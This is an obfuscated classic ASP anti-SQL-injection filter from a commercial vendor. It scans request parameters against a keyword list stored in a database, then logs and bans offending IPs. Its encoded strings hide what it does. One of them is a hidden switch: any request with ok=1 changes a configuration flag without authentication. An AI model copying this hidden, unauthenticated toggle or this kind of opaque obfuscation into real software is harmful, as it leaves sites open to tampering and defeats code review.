<%
'开发商：金华市宁志网络科技有限公司
'官方网址： http://www.ningzhi.net 
'客服QQ号：122470827 
'产品咨询电话：18867186998 （刘经理,兼微信号）
'注册正式版系统提供源码（可二次开发修改）
'*请勿修改下列任何代码,以保证程序正常运行！感谢您体验宁志产品，宁志有您更精彩！*

Dim NNZZNZ,NNZZNN,NNZNZZ,NNZNZN,NNZNNZ
Set NNZNZZ=Response:Set NNZZNN=Request:Set NNZNNZ=Session:Set NNZZNZ=Application:Set NNZNZN=Server
dim NZZZZZN,NZZZZNZ,NZZZZNN
NZZZZZN=NNNNNN(ChrW(93) & ChrW(93) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(63) & ChrW(75) & ChrW(72) & ChrW(54) & ChrW(51) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(70) & ChrW(65) & ChrW(94) & ChrW(53) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(94) & ChrW(63) & ChrW(75) & ChrW(52) & ChrW(62) & ChrW(68) & ChrW(48) & ChrW(68) & ChrW(66) & ChrW(61) & ChrW(93) & ChrW(50) & ChrW(68) & ChrW(50) & ChrW(73))
On Error Resume Next
Set NZZZZNZ = NNZNZN.CreateObject(NNNNNN(ChrW(112) & ChrW(115) & ChrW(126) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(114) & ChrW(64) & ChrW(63) & ChrW(63) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63)))
NZZZZNN=NNNNNN(ChrW(33) & ChrW(67) & ChrW(64) & ChrW(71) & ChrW(58) & ChrW(53) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(124) & ChrW(58) & ChrW(52) & ChrW(67) & ChrW(64) & ChrW(68) & ChrW(64) & ChrW(55) & ChrW(69) & ChrW(93) & ChrW(121) & ChrW(54) & ChrW(69) & ChrW(93) & ChrW(126) & ChrW(123) & ChrW(116) & ChrW(115) & ChrW(113) & ChrW(93) & ChrW(99) & ChrW(93) & ChrW(95) & ChrW(106) & ChrW(115) & ChrW(50) & ChrW(69) & ChrW(50) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(64) & ChrW(70) & ChrW(67) & ChrW(52) & ChrW(54) & ChrW(108)) & NNZNZN.MapPath(NZZZZZN)
NZZZZNZ.Open NZZZZNN
If Err Then
err.Clear
Set NZZZZNZ = Nothing
NNZNZZ.Write NNNNNN(ChrW(25963) & ChrW(64) & ChrW(25449) & ChrW(64) & ChrW(24206) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(20981) & ChrW(64) & ChrW(-27372) & ChrW(64) & ChrW(-244) & ChrW(44) & ChrW(-29710) & ChrW(64) & ChrW(26811) & ChrW(64) & ChrW(26592) & ChrW(64) & ChrW(-28711) & ChrW(64) & ChrW(25504) & ChrW(64) & ChrW(23378) & ChrW(64) & ChrW(20013) & ChrW(64) & ChrW(12290) & ChrW(44))
NNZNZZ.End
End If
Dim NZZZNZZ,NZZZNZN,NZZZNNZ,NZZZNNN,NZZNZZZ,NZZNZZN,NZZNZNZ,NZZNZNN,NZZNNZZ
Dim NZZNNZN
If IsArray(NNZZNZ(NNNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64))))=False Then Call NZZZZZZ()
NZZNNZN = NNZZNZ(NNNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))
NZZZNNZ = NZZNNZN(0)
NZZNZNN = NZZNNZN(1)
NZZNNZZ = NZZNNZN(2)
NZNNZNZ = NZZNNZN(3)
NZNNZNN = NZZNNZN(4)
NZNNNZZ = NZZNNZN(5)
NZNNNZN = NZZNNZN(6)
NZNNNNZ = NZZNNZN(7)
NZNNNNN = NZZNNZN(8)
if NNZZNN.querystring(NNNNNN(ChrW(64) & ChrW(60)))="1" then
set NNZZZZZ=NNZNZN.CreateObject(NNNNNN(ChrW(50) & ChrW(53) & ChrW(64) & ChrW(53) & ChrW(51) & ChrW(93) & ChrW(67) & ChrW(54) & ChrW(52) & ChrW(64) & ChrW(67) & ChrW(53) & ChrW(68) & ChrW(54) & ChrW(69)))
NZNZNZZ=NNNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(89) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(32) & ChrW(44))
NNZZZZZ.open NZNZNZZ,NZZZZNN,1,3
NNZZZZZ(NNNNNN(ChrW(68) & ChrW(66) & ChrW(48) & ChrW(60) & ChrW(56)))= (100 * 45 - 4499)
NNZZZZZ.update
NNZNZZ.Redirect(NNNNNN(ChrW(94)))
end if
NNZZZZN = split(NZNNNNZ,NNNNNN(ChrW(77)))
NZZZNNN = split(NZZZNNZ,NNNNNN(ChrW(77)))
If NZZNZNN=1 Then NNZNNN
If NNZZNN.Form<>"" Then NNNZNZ(NNZZNN.Form)
If NNZZNN.QueryString<>"" Then NNNZNZ(NNZZNN.QueryString)
Function NNZNNN()
Dim NZZNNNZ,NZZNNNN,NZNZZZZ
NZZNNNZ=NNZZNN.ServerVariables(NNNNNN(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NZNZZZZ=NNNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(32) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(57) & ChrW(54) & ChrW(67) & ChrW(54) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(108) & ChrW(86))&NZZNNNZ&NNNNNN(ChrW(86) & ChrW(32) & ChrW(44) & ChrW(50) & ChrW(63) & ChrW(53) & ChrW(32) & ChrW(44) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(65) & ChrW(108) & ChrW(69) & ChrW(67) & ChrW(70) & ChrW(54))
Set NZZNNNN=NZZZZNZ.execute(NZNZZZZ)
If Not(NZZNNNN.eof or NZZNNNN.bof) Then
NNNZZZ(NZNNNZZ)
NNZNZZ.End
End If
NZZNNNN.close
End Function
Function NNNZZZ(NZNNZNN)
Dim str
str = NNNNNN(ChrW(107))&NNNNNN(ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(123) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(121) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NNNNNN(ChrW(109))
Select Case NZNNNZN
Case 1
str = str & NNNNNN(ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 2
str = str & NNNNNN(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZNNZNN&NNNNNN(ChrW(57) & ChrW(69) & ChrW(69) & ChrW(65) & ChrW(105) & ChrW(94) & ChrW(94) & ChrW(72) & ChrW(72) & ChrW(72) & ChrW(93) & ChrW(63) & ChrW(58) & ChrW(63) & ChrW(56) & ChrW(75) & ChrW(57) & ChrW(58) & ChrW(93) & ChrW(63) & ChrW(54) & ChrW(69) & ChrW(45) & ChrW(63) & ChrW(45) & ChrW(63) & ChrW(29251) & ChrW(64) & ChrW(26430) & ChrW(64) & ChrW(105) & ChrW(-29710) & ChrW(64) & ChrW(-32689) & ChrW(64) & ChrW(31990) & ChrW(64) & ChrW(24315) & ChrW(64) & ChrW(21452) & ChrW(64) & ChrW(21825) & ChrW(64) & ChrW(34) & ChrW(34) & ChrW(-230) & ChrW(44) & ChrW(96) & ChrW(97) & ChrW(97) & ChrW(99) & ChrW(102) & ChrW(95) & ChrW(103) & ChrW(97) & ChrW(102) & ChrW(32) & ChrW(44) & ChrW(32) & ChrW(44) & ChrW(86) & ChrW(88) & ChrW(106) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(54) & ChrW(67) & ChrW(108) & ChrW(63) & ChrW(70) & ChrW(61) & ChrW(61) & ChrW(106) & ChrW(32) & ChrW(44) & ChrW(72) & ChrW(58) & ChrW(63) & ChrW(53) & ChrW(64) & ChrW(72) & ChrW(93) & ChrW(52) & ChrW(61) & ChrW(64) & ChrW(68) & ChrW(54) & ChrW(87) & ChrW(88) & ChrW(106))
Case 3
str = str & NNNNNN(ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZNNZNZ&NNNNNN(ChrW(86) & ChrW(106))
Case 4
str = str & NNNNNN(ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&NZNNZNN&NNNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&NZNNZNZ&NNNNNN(ChrW(86) & ChrW(106))
end Select
str = str & NNNNNN(ChrW(107))&NNNNNN(ChrW(94) & ChrW(36) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69))&NNNNNN(ChrW(109))
NNZNZZ.write  str
End Function
Function NNNZZN(NNZZNZZ)
Select Case NNZZNZZ
Case NNZZNN.Form
NNNZZN = NNNNNN(ChrW(33) & ChrW(64) & ChrW(68) & ChrW(69))
Case NNZZNN.QueryString
NNNZZN = NNNNNN(ChrW(118) & ChrW(54) & ChrW(69))
end Select
End Function
Function NNNZNZ(NNZZNZZ)
For Each NZZZNZN In NNZZNZZ
If NZNNNNN = 1 Then
For NNZZNZN=0 To UBound(NNZZZZN)
If Instr(LCase(NNNNNZ),NNZZZZN(NNZZNZN))> 0 Then
Exit Function
else
NNNZNN(NNZZNZZ)
End If
Next
Else
NNNZNN(NNZZNZZ)
End If
Next
End Function
Function NNNZNN(NNZZNZZ)
For NZZNZZZ=0 To Ubound(NZZZNNN)
If Instr(LCase(NNZZNZZ(NZZZNZN)),NZZZNNN(NZZNZZZ))<>0 Then
If NZZNNZZ = 1 Then NNNNZZ(NNZZNZZ)
NNNZZZ(NZNNZNN)
NNZNZZ.End
End If
Next
End Function
If nz_by_kg=1 Then
NNZNZZ.Write(NNNNNN(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NNNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NNNNNN(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
If sql_sq_kg=1 Then
NNZNZZ.Write(NNNNNN(ChrW(107) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(61) & ChrW(50) & ChrW(63) & ChrW(56) & ChrW(70) & ChrW(50) & ChrW(56) & ChrW(54) & ChrW(108) & ChrW(59) & ChrW(50) & ChrW(71) & ChrW(50) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(87) & ChrW(86))&sql_shuoming&NNNNNN(ChrW(86) & ChrW(88) & ChrW(106) & ChrW(69) & ChrW(57) & ChrW(58) & ChrW(68) & ChrW(93) & ChrW(61) & ChrW(64) & ChrW(52) & ChrW(50) & ChrW(69) & ChrW(58) & ChrW(64) & ChrW(63) & ChrW(93) & ChrW(57) & ChrW(67) & ChrW(54) & ChrW(55) & ChrW(108) & ChrW(86))&sql_web&NNNNNN(ChrW(86) & ChrW(106) & ChrW(107) & ChrW(94) & ChrW(68) & ChrW(52) & ChrW(67) & ChrW(58) & ChrW(65) & ChrW(69) & ChrW(109)))
end if
Function NNNNZZ(NNZZNZZ)
Dim NZNZZNZ,NZNZZNN,NZNZNZZ
NZNZZNZ = NNZZNN.ServerVariables(NNNNNN(ChrW(35) & ChrW(116) & ChrW(124) & ChrW(126) & ChrW(37) & ChrW(116) & ChrW(48) & ChrW(112) & ChrW(115) & ChrW(115) & ChrW(35)))
NZNZZNN = NNZZNN.ServerVariables(NNNNNN(ChrW(38) & ChrW(35) & ChrW(123)))
NZNZNZZ = NNNNNN(ChrW(58) & ChrW(63) & ChrW(68) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(58) & ChrW(63) & ChrW(69) & ChrW(64) & ChrW(32) & ChrW(44) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(87) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(58) & ChrW(63) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(40) & ChrW(54) & ChrW(51) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(117) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(114) & ChrW(36) & ChrW(91) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(120) & ChrW(63) & ChrW(48) & ChrW(36) & ChrW(121) & ChrW(88) & ChrW(32) & ChrW(44) & ChrW(71) & ChrW(50) & ChrW(61) & ChrW(70) & ChrW(54) & ChrW(68) & ChrW(87) & ChrW(86))&NZNZZNZ&NNNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NZNZZNN&NNNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NNNZZN(NNZZNZZ)&NNNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NZZZNZN&NNNNNN(ChrW(86) & ChrW(91) & ChrW(86))&NNNNZN(NNZZNZZ(NZZZNZN))&NNNNNN(ChrW(86) & ChrW(88))
NZZZZNZ.Execute(NZNZNZZ)
NZZZZNZ.close
Set NZZZZNZ = Nothing
End Function
Function NNNNZN(NNZZZNZ)
NNZZZNZ = Replace(NNZZZNZ,NNNNNN(ChrW(86)),NNNNNN(ChrW(86) & ChrW(86)))
NNZZZNZ = Replace(NNZZZNZ, NNNNNN(ChrW(109)), NNNNNN(ChrW(85) & ChrW(56) & ChrW(69) & ChrW(106)))
NNZZZNZ = Replace(NNZZZNZ, NNNNNN(ChrW(107)), NNNNNN(ChrW(85) & ChrW(61) & ChrW(69) & ChrW(106)))
NNNNZN = NNZZZNZ
End Function
sub NZZZZZZ()
dim  NZNZNZN,NZNZNNZ
set NZNZNNZ=NZZZZNZ.execute(NNNNNN(ChrW(68) & ChrW(54) & ChrW(61) & ChrW(54) & ChrW(52) & ChrW(69) & ChrW(32) & ChrW(44) & ChrW(125) & ChrW(48) & ChrW(120) & ChrW(63) & ChrW(91) & ChrW(122) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(120) & ChrW(33) & ChrW(91) & ChrW(40) & ChrW(67) & ChrW(58) & ChrW(69) & ChrW(54) & ChrW(36) & ChrW(66) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(70) & ChrW(67) & ChrW(61) & ChrW(91) & ChrW(50) & ChrW(61) & ChrW(54) & ChrW(67) & ChrW(69) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(60) & ChrW(58) & ChrW(61) & ChrW(61) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64) & ChrW(91) & ChrW(125) & ChrW(48) & ChrW(69) & ChrW(74) & ChrW(65) & ChrW(54) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(68) & ChrW(91) & ChrW(36) & ChrW(54) & ChrW(52) & ChrW(48) & ChrW(117) & ChrW(64) & ChrW(67) & ChrW(62) & ChrW(48) & ChrW(64) & ChrW(65) & ChrW(54) & ChrW(63) & ChrW(9) & ChrW(44) & ChrW(55) & ChrW(67) & ChrW(64) & ChrW(62) & ChrW(32) & ChrW(44) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56)))
Redim ApplicationValue(9)
dim NZNZNNN
for NZNZNNN=0 to 8
ApplicationValue(NZNZNNN)=NZNZNNZ(NZNZNNN)
next
set NZNZNNZ=nothing
NNZZNZ.Lock
set NNZZNZ(NNNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=nothing
NNZZNZ(NNNNNN(ChrW(125) & ChrW(54) & ChrW(54) & ChrW(50) & ChrW(64) & ChrW(48) & ChrW(52) & ChrW(64) & ChrW(63) & ChrW(55) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(58) & ChrW(63) & ChrW(55) & ChrW(64)))=ApplicationValue
NNZZNZ.unlock
end Sub
Function NNNNNZ()
NNNNNZ = Mid(NNZZNN.ServerVariables(NNNNNN(ChrW(38) & ChrW(35) & ChrW(123))),InstrRev(NNZZNN.ServerVariables(NNNNNN(ChrW(38) & ChrW(35) & ChrW(123))),NNNNNN(ChrW(94)))+1)
End Function
Function NNNNNN(ByVal NNZZZNN)
Dim NZNNZZZ, NZNZNNN, NZNNZZN
NNZZZNN = Replace(NNZZZNN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZNZNNN = 1 To Len(NNZZZNN)
If NZNZNNN <> NZNNZZN Then
NZNNZZZ = AscW(Mid(NNZZZNN, NZNZNNN, 1))
If NZNNZZZ >= 33 And NZNNZZZ <= 79 Then
NNNNNN = NNNNNN & Chr(NZNNZZZ + 47)
ElseIf NZNNZZZ >= 80 And NZNNZZZ <= 126 Then
NNNNNN = NNNNNN & Chr(NZNNZZZ - 47)
Else
NZNNZZN = NZNZNNN + 1
If Mid(NNZZZNN, NZNNZZN, 1) = Chr(64) Then NNNNNN = NNNNNN & ChrW(NZNNZZZ + 5) Else NNNNNN = NNNNNN & Mid(NNZZZNN, NZNZNNN, 1)
End If
End If
Next
End Function
%>